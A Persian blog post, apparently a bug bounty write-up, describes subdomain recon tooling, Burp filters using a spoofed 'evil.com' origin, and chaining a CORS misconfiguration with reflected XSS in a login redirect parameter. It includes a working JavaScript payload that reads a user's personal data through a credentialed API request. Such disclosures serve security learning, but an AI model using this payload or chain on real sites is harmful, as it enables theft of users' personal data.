ویرگول
ورودثبت نام
محمد رضا عمرانی
محمد رضا عمرانی
خواندن ۵ دقیقه·۷ ماه پیش

Chaining CORS by Reflected XSS to Steal Sensitive Data

سلام به همگی

امیدوارم حال‌تون خوب باشه

من محمدرضا عمرانی هستم. در این نوشته، در مورد چگونگی کشف آسیب‌پذیری که اخیراً پیدا کردم صحبت خواهم کرد.

نام دامنه رو redacted.com میزاریم. از اونجایی که تارگت من Wildcard بود، تا حد امکان ساب‌دامین‌های تارگت رو جمع آوری کردم. من طبق معمول شروع به Google Dorking کردم.

site:&quot*.redacted.com&quot

من ساب‌دامین‌های جدیدی که از نتایج گوگل پیدا می‌کردم رو به یک فایل متنی اضافه کردم. از اونجایی که این فرآیند دستی و زمان‌بر بود، من به این صورت سعی کردم کارم سریع‌تر پیش ببرم:

site:&quot*.redacted.com&quot -www -blog -mail

با استفاده از - شما می‌تونید یک عبارت خاص (مانند یک ساب‌دامین) رو از نتایج گوگل فیلتر کنید تا دیگه نمایش داده نشود. بعدش از ابزار‌های Passive Enumeration مثل subfinder ،assetfinder ،amass و ... برای جمع آوری لیستی از ساب‌دامین‌های مرتبط با تارگت استفاده کردم و اون‌ها رو در یک فایل متنی ذخیره کردم.

subfinder -d redacted.com -all -silent -nc -o subdomains.txt
assetfinder --subs-only redacted.com | sort -u >> subdomains.txt
amass enum -passive -d redacted.com -silent -nocolor | sort -u >> subdomains.txt

بعد از اجرای یک دستور، من از "sort -u" برای حذف موارد تکراری استفاده می کنم. ابزارهای مفیدی مثل anew و Deduplicate برای این عمل وجود دارن.

پس از اتمام Passive Enumeration، جفت خروجی را در یک فایل برای انجام DNS Resolving ذخیره می‌کنم.

من از ابزار‌ shuffledns برای Subdomain Bruteforce استفاده کردم و خروجی رو به subdomains.txt اضافه کردم.

shuffledns -d redacted.com -r massdns/lists/resolvers.txt -w SecLists/Discovery/DNS/subdomains-top1million-5000.txt -silent -nc | sort -u >> subdomains.txt

در مرحله Subdomain Permutation، از ابزار Altrex برای ایجاد لیست جدیدی از ساب‌دامین‌ها با جایگشت استفاده کردم.

cat subdomains.txt | alterx -silent -o subdomain-permutation.txt

علاوه بر ابزارهای دیگه، می‌تونید از ابزار dnsgen هم استفاده کنید.

با رفتن به بخش DNS Resolving، از ابزار massdns استفاده کردم. ضمن اینکه از dnsx هم قابل استفاده بود، اما با توجه به تست‌های قبلی‌ای داشتم متوجه شدم massdns خیلی سریع‌تر هستش.

cat subdomain-permutation.txt | massdns -r /root/massdns/lists/resolvers.txt -o L -w dns-resolving.txt

حالا که این بخش هم تموم شد نوبت Service Discovery رسیده که من از ابزار httpx استفاده می‌کنم.

این مراحلی که تا به الان بهتون توضیح دادم خلاصه شده‌ی فرایند ریکانِ ابزار اتومیشن من هستش. من سعی کردم ابزار اتومیشنم رو به طوری طراحی کنم که به صورت بهینه و سریع عمل کنه. منظور از بهینه این هستش که یک فرایندی رو چند بار انجام نده!

تا به الان من فرآیند Recon رو بر اساس ابزار اتومیشن خودم به صورت خلاصه توضیح دادم و برای اینکه تکرار یک سری فرایند رو به حداقل برسونم و از افزونگی جلوگیری کنم به نظر من بهتر هستش که از ابزار httpx به این صورت استفاده کنیم و در ادامه‌ی ساخت ابزار اتومیشن‌مون با دستور awk ستون‌های مدنظرمون رو انتخاب کنیم.

که من به این شکل از httpx استفاده کردم:

cat dns-resolving.txt | httpx -sc -title -td -favicon -asn -silent -nc -o service-discovery.txt

من خروجی این مرحله رو با status code اون‌ها مرتب کردم، به طوری که هر رنج (مثل ۲۰۰ یا ۳۰۰) در یک فایل متنی جداگانه ذخیره بشن. سپس، از ابزار EyeWitness برای گرفتن اسکرین شات از فایلی که حاوی رنجstatus code ۲۰۰ هستش استفاده کردم. EyeWitness ابزاری است که برای گرفتن اسکرین شات از صفحات وب طراحی شده است.

من از خروجی EyeWitness برای ورود به دامین‌ها استفاده کردم و Burp Suite رو برای کپچر کردن ریکوئست و ریسپانس‌ها اجرا کردم.

در این بین من از اکستنشن ++Logger هم استفاده کردم. این اکستنشن به ما اجازه می‌ده فیلترهای پیشرفته‌ای رو تعریف کنیم تا بر اساس لاگ‌هامون به اندپوینت‌های مشکوک و یا آسیب پذیر دست پیدا کنیم.

یک ریپو هم بهتون معرفی می‌کنم که فیلتر‌های کاربردی‌ای برای هانت در اونجا قرار گرفته شده، که البته یک سری‌هاش رو بر اساس متولوژی شخصی خودم تغییر دادم و ازشون به طور مستمر دارم استفاده می‌کنم.

برای کشف آسیب پذیری Cors Misconfiguration من از این فیلتر استفاده کردم.

Request.Headers CONTAINS &quotorigin&quot AND (Response.Headers CONTAINS &quotAccess-Control-Allow-Credentials&quot OR Response.Headers CONTAINS &quotAccess-Control-Allow-Origin&quot)

ضمن اینکه شما می‌تونید ++Logger رو با اکستنشن AutoRepetear ترکیب کنید.

در AutoRepetear یک replacement اضافه کنید که هدر origin رو با مقدار مد نظرتون به هدر‌ها اضافه کنه و یا مقدار این هدر رو جایگزین کنه.

اضافه کردن هدر origin: evil.com
اضافه کردن هدر origin: evil.com

یا

جایگزین کردن مقدار هدر origin
جایگزین کردن مقدار هدر origin

و در انتها می‌تونید یک فیلتر در ++Logger اعمال کنید که در کنار AutoRepetear اندپوینت‌های آسیب پذیر رو پیدا کنه.

Request.Headers CONTAINS &quotorigin: evil.com&quot AND (Response.Headers CONTAINS &quotAccess-Control-Allow-Credentials&quot OR Response.Headers CONTAINS &quotAccess-Control-Allow-Origin: evil.com&quot)

اما خب من خیلی راحت‌تر به اندپوینت آسیب پذیر رسیدم.

همون اوایل که از ++Logger داشتم استفاده می‌کردم و اولین فیلتر رو اعمال کرده بودم یکی از اندپوینت‌های مشکوک رو به Repetear فرستادم و روش کار کردم.

در اونجا متوجه شدن که فقط ساب دامین آسیب پذیر هستش!

اندپوینت آسیب پذیر
اندپوینت آسیب پذیر

در Response Body این اندپوینت هم اطلاعاتی مثل نام کامل، آدرس ایمیل، شماره موبایل و غیره نمایش داده می‌شد.

حالا فقط به یک XSS نیاز داشتم که از روی یکی از ساب‌دامین‌های تارگتم پیدا کنم.

من دوباره برگشتم تا ادامه‌ی خروجی EyeWitness رو چک کنم که بعد از چند دقیقه به یک صفحه لاگین برخوردم که به open redirect و xss خیلی مشکوک بود.

https://subdomain.redacted.com/login/mobile?next=https://subdomain.redacted.com

خب در وحله اول open redirect رو چک کردم که آسیب پذیر بود و در ادامه به سراغ تست XSS رفتم.

https://subdomain.redacted.com/login/mobile?next=alert(document.domain)

که بعد از وارد کردن شماره موبایل و کد یکبار مصرف xss من اجرا می‌شد.

در نهایت برای Chain کردن این دو آسیب پذیری به این اکسپلویت رسیدم:

https://subdomain.redacted.com/login/mobile?next=function(){var xhttp=new XMLHttpRequest();xhttp.=function(){if(xhttp.readyState==4&&xhttp.status==200){alert(xhttp.responseText);}};xhttp.open(&quotGET&quot,&quothttps://api.redacted.com/api/v2/user&quot,true);xhttp.withCredentials=true;xhttp.send();})();

حالا در زمانی که مجددا لاگین می‌کردم کد جاوا اسکریپت برای من اجرا می‌شد و اطلاعات کاربر برای من alert می‌شد.

و در آخر باید بگم این گزارش رو برای تیم امنیتی شرکت مربوطه ارسال کردم و متاسفانه گزارشم در وضعیت تکراری قرار گرفت اما دوست داشتم مسیر کشفش رو با شما به اشتراک بزارم :)

امیدوارم مطالبی که به اشتراک گذاشتم مفید بوده باشه.

من مشتاقانه منتظر نظرات شما هستم❤️

نسخه انگلیسی:

https://medium.com/bugbountywriteup/chaining-cors-by-reflected-xss-to-steal-sensitive-data-c456e133c10d

X (Twitter): https://twitter.com/omranisecurity
LinkedIn: https://www.linkedin.com/in/omranisecurity/

منابع و ابزار‌ها:

https://github.com/projectdiscovery/subfinder

https://github.com/tomnomnom/assetfinder

https://github.com/owasp-amass/amass

https://www.geeksforgeeks.org/sort-command-linuxunix-examples/

https://github.com/tomnomnom/anew

https://github.com/nytr0gen/deduplicate

https://github.com/projectdiscovery/shuffledns

https://github.com/projectdiscovery/alterx

https://github.com/ProjectAnte/dnsgen

https://github.com/blechschmidt/massdns

https://github.com/projectdiscovery/dnsx

https://github.com/projectdiscovery/httpx

https://www.geeksforgeeks.org/awk-command-unixlinux-examples/

https://github.com/RedSiege/EyeWitness

https://portswigger.net/burp

https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters

https://portswigger.net/bappstore/470b7057b86f41c396a97903377f3d81

https://portswigger.net/bappstore/f89f2837c22c4ab4b772f31522647ed8

آسیب پذیری وبآسیب پذیری cors misconfigurationآسیب پذیری xssامنیت وباسکرین شات
شاید از این پست‌ها خوشتان بیاید